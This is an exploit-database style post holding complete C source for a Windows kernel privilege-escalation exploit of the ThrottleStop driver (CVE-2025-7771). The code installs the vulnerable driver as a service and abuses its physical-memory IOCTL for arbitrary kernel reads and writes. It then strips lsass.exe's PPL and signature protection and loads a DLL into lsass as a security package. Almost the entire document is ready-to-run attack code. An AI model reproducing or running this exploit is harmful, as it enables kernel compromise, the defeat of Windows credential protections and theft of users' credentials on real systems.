Throttlestop Kernel Driver Exploit, Kernel Out-of-Bounds Write Privilege Escalation

# Exploit Title: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation
# Exploit Details: https://xavibel.com/2025/12/22/using-vulnerable-drivers-in-red-team-exercises/
# Date: 8/12/2025
# Exploit Author: Xavi Beltran
# Vendor Homepage: https://www.techpowerup.com/download/techpowerup-throttlestop/
# Version: 3.0.0.0
# Tested on: Windows 11
# CVE-2025-7771

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <Psapi.h>
#include <superfetch/superfetch.h>
#include <tlhelp32.h>
#include <string>
#include <sspi.h>

# define IOCTL_MMMAPIOSPACE  0x8000645C
#pragma comment(lib, "Secur32.lib")

#pragma pack(push,1)
typedef struct {
    ULONGLONG PhysicalAddress; // +0
    DWORD     NumberOfBytes;   // +8
} PHYS_REQ;                    // 0x0C
#pragma pack(pop)

// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

LPVOID GetBaseAddr(LPCWSTR drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        WCHAR szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++)
        {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
            {
                if (wcscmp(szDrivers, drvname) == 0)
                {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
    auto mm = spf::memory_map::current();
    if (!mm) {
        printf("[!] Superfetch init failed!\n");
        return 0;
    }

    auto phys = mm->translate((void*)virt_addr);
    if (!phys) {
        printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
        return 0;
    }

    //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
    // --- PHYSICAL READ ---
    PHYS_REQ in{};
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
        IOCTL_MMMAPIOSPACE,
        &in, sizeof(in),    // 0x0C
        &out, sizeof(out), //  Accepts 4 or 8
        &br, nullptr);

    //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
    if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
              printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result);
        return result;
    }

    return -1;
}

uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
    auto mm = spf::memory_map::current();
    if (!mm) {
        printf("[!] Superfetch init failed!\n");
        return 0;
    }

    auto phys = mm->translate((void*)where);
    if (!phys) {
        printf("[!] Translate failed for VA %p!\n", (void*)where);
        return 0;
    }

    //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
    PHYS_REQ in{};
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
        IOCTL_MMMAPIOSPACE,
        &in, sizeof(in),    // 0x0C
        &out, sizeof(out), // 8 (Accepts 4 or 8)
        &br, nullptr);

    //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
    if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
    }

    // WRITE
    printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where);
    *(uint64_t*)out = what;
    return 0;
}

DWORD FindProcessId(const std::wstring& processName) {
    DWORD processId = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE)
        return 0;

    PROCESSENTRY32W entry;
    entry.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &entry)) {
        do {
            if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
                processId = entry.th32ProcessID;
                break;
            }
        } while (Process32NextW(snapshot, &entry));
    }

    CloseHandle(snapshot);
    return processId;
}


int main()
{
    DWORD lsassPid = FindProcessId(L"lsass.exe");
    printf("[+] Target process PID: %d\n", lsassPid);
    //Installing the service

    SC_HANDLE hSCManager;
    SC_HANDLE hService;

    // Open the Service Control Manager
    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (hSCManager == NULL) {
        printf("[!] Error opening SCM: %lu\n", GetLastError());
        return 1;
    }

    // Create the service
    hService = CreateService(
        hSCManager,
        L"ThrottleStop",
        L"ThrottleStop",
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,
        SERVICE_AUTO_START,
        SERVICE_ERROR_NORMAL,
        L"C:\\Users\\Public\\a.sys",
        NULL, NULL, NULL, NULL, NULL);

    if (hService == NULL) {
        printf("[+] Error creating service: %lu\n", GetLastError());
        CloseServiceHandle(hSCManager);
        //return 1;
    }

    printf("[!] Service created successfully.\n");

    if (!StartService(hService, 0, NULL)) {
        printf("[!] Error starting the service: %lu\n", GetLastError());
    }
    else {
        printf("[+] Service started correctly.\n");
    }

    LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
    printf("[+] NT base: %p\n", nt_base);

    HANDLE hDrv = NULL;
    hDrv = CreateFileA("\\\\.\\ThrottleStop",
        (GENERIC_READ | GENERIC_WRITE),
        0x00,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hDrv == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to get a handle on driver!\n");
        return -1;
    }
    else {
        printf("[+] Handle on  driver received!\n");
    }

    ULONGLONG result = 0x0;

    // nt!PsInitialSystemProcess nt + 0x5412e0
    ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;

    DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
    printf("[+] EPROCESS: 0x%llX\n", Eprocess);
    DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void

    DWORD64 SearchProcessPid = 0;
    DWORD64 searchEprocess = Eprocess;
    while (1)
    {
        searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
        SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
        if (SearchProcessPid == lsassPid) // LSASS PROCESS
        {
            break;
        }
    }

    printf("[+] Found LSASS EPROCESS!\n");
    printf("[+] Removing PPL Protection...\n");
    xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
    printf("[+] Removing Signature Level Protection...\n");
    xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
    printf("[+] LSASS protections disabled\n");
    CloseHandle(hDrv);

    SECURITY_PACKAGE_OPTIONS spo = {};
    SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
    printf("[+] DLL Injection successful!\n");

    return 0;
}

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD